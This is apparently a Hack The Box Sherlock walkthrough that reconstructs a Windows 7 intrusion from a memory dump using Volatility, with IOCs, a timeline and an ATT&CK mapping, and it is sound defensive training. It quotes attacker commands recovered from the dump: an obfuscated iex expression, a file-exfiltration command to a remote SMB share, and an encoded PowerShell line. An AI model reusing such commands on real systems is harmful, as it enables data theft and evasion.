Recollection Sherlock Walkthrough

Solved Recollection from Hack The Box!

Field Details
Case Reference HTB-SHRLCK-RECOLLECTION
Platform Hack The Box — Sherlock
Category Memory Forensics
Difficulty —
Date Opened 2022-12-19
Severity High
Status Closed — training scenario
Memory Dump recollection.bin (Windows 7 SP1 x64)
Host USER-PC · 192.168.0.104

1. Executive Summary

On 2022-12-19 a Windows 7 workstation (USER-PC, 192.168.0.104) was compromised. The attacker gained an interactive session, attempted to exfiltrate a confidential file over SMB (which failed — the remote share was unreachable), dropped a masquerading executable (csrsss.exe, mimicking csrss.exe), wrote a “hacked by mafia” readme, and installed the Wazuh agent. The memory dump was captured at 16:07:30 UTC the same day.

This report reconstructs the intrusion from a single memory image (recollection.bin) using Volatility 2 and 3: clipboard and console artifacts, an obfuscated PowerShell command resolving to Invoke-Expression, a failed exfiltration attempt, and masquerading malware whose filename is its own SHA-256 hash.

1.1 Incident Summary

Field Details
Incident Type Memory-resident intrusion on a Windows 7 workstation
Initial Access Interactive session (attacker opened cmd.exe from explorer.exe)
Discovery Blue team memory triage of recollection.bin
First Execution 2022-12-19 15:40:08 UTC (cmd.exe under explorer.exe)
Persistence Masquerading binary csrsss.exe (mimicking csrss.exe)
Overall Severity High

1.2 Key Findings

  • The attacker opened a Command Prompt at 15:40:08 UTC and spawned a child PowerShell from it.
  • An obfuscated clipboard command (gv '*MDR*').naMe[3,11,2]-joIN'' resolves to iex (Invoke-Expression).
  • Exfiltration of Confidential.txt to \\192.168.0.171\pulice failed — “The network path was not found”.
  • A Base64-encoded PowerShell command wrote “hacked by mafia” to C:\Users\Public\Office\readme.txt.
  • A malicious executable named after its own SHA-256 (b0ad704…cb1.exe) was executed; its Imphash is d3b592cd….
  • csrsss.exe (extra s) masquerades as the legitimate csrss.exe.
  • The victim installed the Wazuh agent (wazuh-agent-4.3.10-1.msi).

2. Investigation Scope & Artifacts

2.1 Artifacts Analyzed

Artifact Format What it answers
recollection.bin Raw memory dump (Windows 7 SP1 x64) All questions Q1–Q18
Volatility 2 bodyfile / mactime output CSV timeline Attack timeline (§6)
VirusTotal record for SHA-256 b0ad704…cb1 Web (details tab) Imphash, creation time (Q12, Q13)

2.2 Tools & Methods

Tool Purpose
Volatility 3 (windows.info, windows.filescan, windows.netscan, windows.pstree) OS metadata, file objects, network connections, process tree
Volatility 2 (clipboard, consoles, timeliner) Clipboard contents, console history, timeline bodyfile
mactime Convert bodyfile to readable timeline
strings + regex Extract email addresses from the dump
VirusTotal Hash / Imphash / creation-time lookup
Base64 decode Recover the original PowerShell command (Q7)

3. Technical Analysis

3.1 Scenario

Memory forensics investigation of a compromised Windows 7 workstation. The host (USER-PC, 192.168.0.104) was triaged and a memory dump (recollection.bin) was provided. Objective: reconstruct the attack chain — initial access, credential/exfiltration attempts, masquerading malware, and installed software — from volatile memory artifacts.

3.2 Q1 — What is the Operating System of the machine?

Answer: Windows 7

We used the windows.info plugin to extract OS metadata from the memory dump:

$ python3 vol.py -f recollection.bin windows.info

image.png

Key indicators from the output:

  • NTBuildLab: 7601.24214.amd64fre.win7sp1_ldr_
  • NtMajorVersion / NtMinorVersion: 6.1 (Windows 7)
  • CSDVersion: 1 (Service Pack 1)

Detection angle. Memory-based OS identification via windows.info (NtMajorVersion/NtMinorVersion/CSDVersion) — confirms the profile used for all subsequent Volatility plugins.

3.3 Q2 — When was the memory dump created?

Answer: 2022-12-19 16:07:30

From the same windows.info output, the SystemTime field shows the exact timestamp when the memory was captured:

SystemTime      2022-12-19 16:07:30+00:00

image.png

Detection angle. The SystemTime field in windows.info anchors every other timestamp in the investigation; compare against filesystem MFT times to spot tampering.

3.4 Q3 — After the attacker gained access to the machine, the attacker copied an obfuscated PowerShell command to the clipboard. What was the command?

Answer: (gv '*MDR*').naMe[3,11,2]-joIN''

The clipboard plugin is not available in Volatility 3, so we used Volatility 2 to extract clipboard contents:

$ ./vol2 -f recollection.bin --profile=Win7SP1x64 clipboard

image.png

The CF_UNICODETEXT format entry in the output contains the copied text. This is an obfuscated PowerShell command that uses Get-Variable (gv) with a wildcard pattern, extracts specific characters from the variable name via indexing, and joins them together.

Detection angle. Volatility 2 clipboard plugin on CF_UNICODETEXT — clipboard capture of obfuscated PowerShell is a strong indicator of interactive attacker activity.

3.5 Q4 — The attacker copied the obfuscated command to use it as an alias for a PowerShell cmdlet. What is the cmdlet name?

Answer: Invoke-Expression

Deobfuscating the clipboard command (gv '*MDR*').naMe[3,11,2]-joIN'' in a PowerShell session reveals it resolves to iex. iex is the alias for Invoke-Expression — the full cmdlet name. This cmdlet executes strings as PowerShell commands — a common technique used by attackers to run obfuscated or downloaded payloads.

image.png

MITRE ATT&CK: T1059.001 — Command and Scripting Interpreter: PowerShell

Detection angle. Deobfuscation of clipboard/PowerShell artifacts reveals iex/Invoke-Expression — alias for dynamic code execution.

3.6 Q5 — A CMD command was executed to attempt to exfiltrate a file. What is the full command line?

Answer: type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt

The consoles plugin (Volatility 2 only) reveals the actual commands typed into cmd.exe:

$ ./vol2 -f recollection.bin --profile=Win7SP1x64 consoles

image.png

The command uses type to read a local file and redirects (>) its contents to a remote SMB share — a classic data exfiltration technique over the network.

MITRE ATT&CK: T1048.003 — Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

Detection angle. consoles plugin reveals type … > \\host\share — CMD-based exfiltration over SMB; alert on cmd.exe command lines containing \\ and >.

3.7 Q6 — Following the above command, now tell us if the file was exfiltrated successfully?

Answer: No

image.png

From the same consoles output, the command returned the error “The network path was not found”, indicating the remote SMB share at \\192.168.0.171\pulice was unreachable and the exfiltration attempt failed.

Detection angle. Console output containing “The network path was not found” confirms a failed exfiltration — still an indicator of intent.

3.8 Q7 — The attacker tried to create a readme file. What was the full path of the file?

Answer: C:\Users\Public\Office\readme.txt

From the consoles output, we find a Base64-encoded PowerShell command:

powershell -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi"

Decoding the Base64 string reveals the original command:

$ echo "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi" | base64 -d
echo "hacked by mafia" > "C:\Users\Public\Office\readme.txt"

The attacker attempted to write “hacked by mafia” into a readme file at the specified path.

MITRE ATT&CK: T1027 — Obfuscated Files or Information

Detection angle. powershell -e (encoded command) in console history — Base64-encoded PowerShell execution.

3.9 Q8 — What was the Host Name of the machine?

Answer: USER-PC

From the consoles output (Volatility 2), the attacker ran net users which displays the hostname in its output:

User accounts for \\USER-PC

image.png

Detection angle. net users in console history reveals the hostname — useful for correlating with other artifacts.

3.10 Q9 — How many user accounts were in the machine?

Answer: 3

From the same consoles output, the net users command lists all local accounts:

Administrator          Guest                  user

net users output

Detection angle. net users enumeration of local accounts — discovery activity.

3.11 Q10 — In the “” folder there were some sub-folders where there was a file named passwords.txt. What was the full file location/path?

Answer: \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt

We used the filescan plugin to locate the file in memory:

$ python3 vol.py -f recollection.bin windows.filescan | grep -i "passwords.txt"

The \Device\HarddiskVolume2\ prefix is Windows’ internal device path representation, mapping to C:\.

Detection angle. windows.filescan + grep passwords.txt locates credential-store files in memory.

3.12 Q11 — A malicious executable file was executed using command. The executable EXE file’s name was the hash value of itself. What was the hash value?

Answer: b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1

From the consoles output (Volatility 2), the attacker navigated to C:\Users\user\Downloads and executed a file whose name is its own SHA-256 hash:

PS C:\Users\user\Downloads> .\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe

The ls output also reveals other suspicious files in the Downloads folder, including a .zip with the same hash name, another zip with a different hash, and csrsss.exe (note the extra ‘s’ — mimicking the legitimate csrss.exe).

Malicious exe execution

MITRE ATT&CK: T1204.002 — User Execution: Malicious File

Detection angle. Console history showing execution of a file whose name is a 64-char hex hash — masquerading/obfuscation indicator.

3.13 Q12 — Following the previous question, what is the Imphash of the malicious file you found above?

Answer: d3b592cd9481e4f053b5362e22d61595

We searched the SHA-256 hash on VirusTotal and found the Imphash under the Details tab.

VirusTotal Details

Note: In real-world incident response, searching a hash on VirusTotal is safe (it only queries existing records), but uploading a sample can alert the attacker if they monitor VT. Safer alternatives include dumping the file from memory and computing the imphash locally using Python’s pefile library:

import pefile
pe = pefile.PE("dumped_file.exe")
print(pe.get_imphash())

Detection angle. VirusTotal lookup of a hash gives Imphash without uploading the sample — safer than submission.

3.14 Q13 — Following the previous question, tell us the date in UTC format when the malicious file was created?

Answer: 2022-06-22 11:49:04

From the same VirusTotal Details page, the Creation Time field shows when the PE file was compiled/created.

Creation Time

Detection angle. PE creation time from VirusTotal — compare with file system timestamps to spot timestomping.

3.15 Q14 — What was the local IP address of the machine?

Answer: 192.168.0.104

Using the netscan plugin to list network connections:

$ python3 vol.py -f recollection.bin windows.netscan

The local IP 192.168.0.104 appears in multiple connections, including an ESTABLISHED TCP connection to 13.33.88.81:443.

netscan output

Detection angle. windows.netscan reveals the host IP and active connections — scope the host for lateral movement.

3.16 Q15 — There were multiple PowerShell processes, where one process was a child process. Which process was its parent process?

Answer: cmd.exe

Using the pstree plugin to visualize the process hierarchy:

$ python3 vol.py -f recollection.bin windows.pstree

The process tree reveals the following timeline of attacker activity under explorer.exe (PID 2032):

Time (UTC) Process PID Parent PID Action
2022-12-19 15:33:13 explorer.exe 2032 1988 User desktop session starts
2022-12-19 15:40:08 cmd.exe 4052 2032 Attacker opens a Command Prompt
2022-12-19 15:43:39 powershell.exe 3688 2032 PowerShell launched from Explorer
2022-12-19 15:44:44 powershell.exe 3532 4052 Child PowerShell spawned from cmd.exe
2022-12-19 15:50:42 notepad.exe 3476 2032 Opens Confidential.txt

image.png

The child PowerShell (PID 3532) was spawned from within cmd.exe — a common attacker pattern where a cmd.exe session is used to launch PowerShell for further exploitation.

Detection angle. windows.pstree reveals powershell.exe parented by cmd.exe — suspicious process lineage.

3.17 Q16 — Attacker might have used an email address to login a social media. Can you tell us the email address?

Answer: mafia_code1337@gmail.com

We used strings with a regex pattern to extract email addresses from the memory dump:

$ strings recollection.bin | grep -Eio "[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z0-9]{2,}" | grep email

Among the results, mafia_code1337@gmail.com stands out as the attacker’s email — the username aligns with the “mafia” reference seen earlier in Q7 ("hacked by mafia").

Email grep output

Detection angle. strings + email regex on a memory dump surfaces attacker identifiers.

3.18 Q17 — Using MS Edge browser, the victim searched about a SIEM solution. What is the SIEM solution’s name?

Answer: Wazuh

From the Q11 consoles output, the Downloads folder contained wazuh-agent-4.3.10-1.msi, indicating the victim downloaded the Wazuh agent installer. To confirm it was actually installed, we checked the filesystem:

$ python3 vol.py -f recollection.bin windows.filescan | grep -i "wazuh"
0x11e29d440100.0\Program Files (x86)\ossec-agent\wazuh-agent.exe
0x11e29db00     \Program Files (x86)\ossec-agent\wazuh-agent.exe
0x11e3cfdc0     \Program Files (x86)\ossec-agent\libwazuhext.dll

The Wazuh agent was installed at C:\Program Files (x86)\ossec-agent\, confirming the victim not only searched for and downloaded it, but also installed it on the machine.

Detection angle. windows.filescan for wazuh confirms installation of a SIEM agent — benign here, but an unusual find on a compromised host.

3.19 Q18 — The victim user downloaded an exe file. The file’s name was mimicking a legitimate binary from Microsoft with a typo. Tell us the file name with the file extension?

Answer: csrsss.exe

From the Downloads folder listing in Q11, the file csrsss.exe stands out — it mimics the legitimate Windows process csrss.exe (Client Server Runtime Subsystem) but with an extra s. This is a common attacker technique known as masquerading, where malware is named to resemble legitimate system binaries to avoid suspicion.

MITRE ATT&CK: T1036.005 — Masquerading: Match Legitimate Name or Location

Detection angle. Filename csrsss.exe mimicking csrss.exe (extra s) — masquerading detection via process-name anomaly.


4. Challenge Q&A Log

# Question Answer Method
1 Operating System Windows 7 windows.info
2 Memory dump creation time 2022-12-19 16:07:30 windows.info SystemTime
3 Obfuscated clipboard command (gv '*MDR*').naMe[3,11,2]-joIN'' Volatility 2 clipboard
4 Cmdlet alias resolved Invoke-Expression Deobfuscation
5 Exfiltration command line type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt Volatility 2 consoles
6 Exfiltration successful? No Console error output
7 Readme file path C:\Users\Public\Office\readme.txt Base64 decode of console command
8 Host name USER-PC net users output
9 Number of user accounts 3 net users output
10 passwords.txt full path \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt windows.filescan
11 Malicious exe hash (self-named) b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1 Console ls/execution
12 Imphash of malicious file d3b592cd9481e4f053b5362e22d61595 VirusTotal Details
13 Malicious file creation time 2022-06-22 11:49:04 VirusTotal Details
14 Local IP address 192.168.0.104 windows.netscan
15 Parent of child PowerShell cmd.exe windows.pstree
16 Attacker email address mafia_code1337@gmail.com strings + email regex
17 SIEM solution searched Wazuh Console + windows.filescan
18 Masquerading binary name csrsss.exe Console ls output

5. Incident Narrative

On 2022-12-19 the attacker gained an interactive session on USER-PC (192.168.0.104): cmd.exe (PID 4052) was spawned from explorer.exe at 15:40:08 UTC, and a child powershell.exe (PID 3532) was launched from it. The attacker copied an obfuscated PowerShell command to the clipboard — (gv '*MDR*').naMe[3,11,2]-joIN'' — which resolves to iex (Invoke-Expression), a dynamic code-execution primitive. A second PowerShell (PID 3688) was launched directly from Explorer.

The attacker then tried to exfiltrate C:\Users\Public\Secret\Confidential.txt to \\192.168.0.171\pulice\pass.txt via type … > over SMB; the attempt failed with “The network path was not found”. They also ran a Base64-encoded PowerShell command to write “hacked by mafia” into C:\Users\Public\Office\readme.txt, and enumerated local accounts with net users (revealing hostname USER-PC and 3 accounts).

In the Downloads folder the attacker executed a binary whose filename is its own SHA-256 (b0ad704…cb1.exe), alongside a .zip of the same name, a second zip, and csrsss.exe — a masquerading copy of csrss.exe. The malicious binary’s Imphash (d3b592cd…) and creation time (2022-06-22) were recovered via VirusTotal. The victim had also downloaded and installed the Wazuh agent (wazuh-agent-4.3.10-1.msi). The memory dump was captured at 16:07:30 UTC.


6. Attack Timeline

Timestamp (UTC) Event Artifact ATT&CK
2022-12-19 10:59 b0ad704…cb1.exe modified (Shimcache) Shimcache —
2022-12-19 11:00 csrsss.exe created in Downloads (masquerading) MFT T1036.005
2022-12-19 15:33:13 explorer.exe session starts (PID 2032) pstree —
2022-12-19 15:40:08 cmd.exe opened from Explorer (PID 4052) pstree / consoles T1059.003
2022-12-19 15:43:39 powershell.exe launched from Explorer (PID 3688) pstree T1059.001
2022-12-19 15:44:44 Child powershell.exe spawned from cmd.exe (PID 3532) pstree T1059.001
2022-12-19 15:50:42 notepad.exe opens Confidential.txt (PID 3476) pstree T1083
2022-12-19 16:07:30 Memory dump captured windows.info SystemTime —
2022-12-19 17:35 readme.txt created (“hacked by mafia”) MFT T1105
2022-12-19 17:57 bf9e936…b03.exe and csrsss.exe executed UserAssist T1204.002
2022-12-19 17:58 b0ad704…cb1.exe execution confirmed Prefetch T1204.002

Note on the timeline: generated with Volatility timeliner → bodyfile → mactime. The MFT/Shimcache/UserAssist/Prefetch artifacts agree on the execution order; the exfiltration attempt sits between the interactive session and the malware execution.


7. Indicators of Compromise (IOCs)

7.1 File IOCs

Type Value Context
File Name b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe Malicious exe (self-named hash) — Q11
File Name csrsss.exe Masquerading as csrss.exe — Q18
File Name b0ad704…cb1.zip / bf9e936…b03.zip Malicious archives in Downloads
File Path C:\Users\user\Downloads\ Drop location
File Path C:\Users\Public\Office\readme.txt “hacked by mafia” readme — Q7
File Path C:\Users\Public\Secret\Confidential.txt Targeted for exfiltration — Q5
SHA-256 b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1 Malicious executable — Q11
Imphash d3b592cd9481e4f053b5362e22d61595 Malicious executable — Q12
File Name wazuh-agent-4.3.10-1.msi Installed SIEM agent — Q17

7.2 Network IOCs

Type Value Context
IP Address 192.168.0.104 Compromised host (local) — Q14
IP Address 192.168.0.171 Exfiltration target (SMB share) — Q5
IP Address 13.33.88.81 ESTABLISHED TCP connection (port 443) — Q14
Domain mafia_code1337@gmail.com Attacker email — Q16

7.3 Behavioral IOCs

Type Value Context
Command type … > \\192.168.0.171\pulice\pass.txt Failed SMB exfiltration — Q5
Command powershell -e <base64> writing “hacked by mafia” Obfuscated PowerShell — Q7
Command (gv '*MDR*').naMe[3,11,2]-joIN'' Clipboard obfuscated command → iex — Q3/Q4
Process powershell.exe parented by cmd.exe Suspicious process lineage — Q15
File passwords.txt in Edge ZxcvbnData Credential-store artifact — Q10

8. Detection Opportunities

Source What to look for Why it matters
Memory forensics consoles plugin showing type … > \\host\share CMD-based exfiltration over SMB
Memory forensics clipboard plugin CF_UNICODETEXT with obfuscated PowerShell Interactive attacker typing obfuscated commands
Volatility pstree powershell.exe parented by cmd.exe Suspicious process lineage
Volatility filescan passwords.txt in browser ZxcvbnData Credential-store artifact in memory
Filesystem / MFT csrsss.exe (typo of csrss.exe) in Downloads Masquerading binary
VirusTotal Hash lookup (no upload) for unknown executables Imphash + creation time without alerting attacker
Network Connections to 192.168.0.171 over SMB (port 445) Exfiltration attempt

9. MITRE ATT&CK Mapping

TTP ID Tactic Technique Evidence
T1059.001 Execution Command and Scripting Interpreter: PowerShell Obfuscated clipboard command → iex (Q4); child PowerShell (Q15)
T1059.003 Execution Command and Scripting Interpreter: Windows Command Shell cmd.exe opened from Explorer (Q15)
T1027 Defense Evasion Obfuscated Files or Information Base64-encoded PowerShell command (Q7)
T1048.003 Exfiltration Exfiltration Over Alternative Protocol: Unencrypted Non-C2 Protocol type … > \\192.168.0.171\pulice\pass.txt (Q5)
T1204.002 Execution User Execution: Malicious File b0ad704…cb1.exe and csrsss.exe executed (timeline)
T1036.005 Defense Evasion Masquerading: Match Legitimate Name or Location csrsss.exe mimicking csrss.exe (Q18)
T1083 Discovery File and Directory Discovery notepad.exe opening Confidential.txt (timeline)
T1105 Command and Control Ingress Tool Transfer readme.txt write (timeline)

10. Conclusions & Recommendations

10.1 Incident Summary

What Happened An attacker gained an interactive session on a Windows 7 workstation, attempted to exfiltrate a confidential file over SMB (failed), dropped a masquerading executable (csrsss.exe), wrote a “hacked by mafia” readme, and installed the Wazuh agent. All evidence recovered from a single memory dump.
Root Cause Interactive access to the host (attacker opened cmd.exe from explorer.exe) with no EDR/monitoring to catch the session; sensitive file reachable from the user context.
Impact Assessment Confidentiality: High — Confidential.txt targeted (exfiltration failed). Integrity: Medium — masquerading binary and readme written. Availability: Low — no destructive action observed.

10.2 Recommendations

Priority Timeframe Recommendation
Immediate Within 24h Isolate USER-PC; hunt csrsss.exe, b0ad704…cb1.exe and the hash name across the estate
High Within 7 days Reset credentials for the user account; review Confidential.txt access; check for \\192.168.0.171 reachability
Medium Within 30 days Deploy EDR with command-line and clipboard monitoring; restrict SMB egress
Low Within 90 days User awareness for masquerading filenames and obfuscated PowerShell
Strategic Ongoing Capture memory dumps for triage of suspected endpoints; document Volatility profile workflow

11. Analyst Notes & Learning

11.1 What I Did Well

Anchored every finding to a specific Volatility plugin and output (windows.info, clipboard, consoles, filescan, netscan, pstree), and cross-checked the attacker’s email against the “mafia” reference in the readme. Used VirusTotal in query-only mode to avoid alerting the attacker.

11.2 Key Takeaways

  • Memory is the source of truth when disk is gone: clipboard, console history, and process trees survive in RAM.
  • Volatility 2 vs 3: clipboard and consoles exist only in Volatility 2 — know which plugins live where.
  • Obfuscation is reversible: (gv '*MDR*').naMe[3,11,2]-joIN'' → iex → Invoke-Expression.
  • Masquerading hides in plain sight: csrsss.exe (one extra s) mimics csrss.exe.
  • Self-named malware: a binary named after its own SHA-256 is a strong anomaly.
  • Failed exfiltration still counts: “The network path was not found” proves intent and reveals the target IP.

11.3 New Techniques

Volatility 2 clipboard/consoles plugins, timeliner → bodyfile → mactime timeline reconstruction, Base64 decoding of encoded PowerShell, strings + regex for email extraction, VirusTotal hash-only lookup for Imphash/creation time, and windows.pstree for process-lineage analysis.


12. References

HTB Sherlock · Recollection · Memory Forensics · 2022-12-19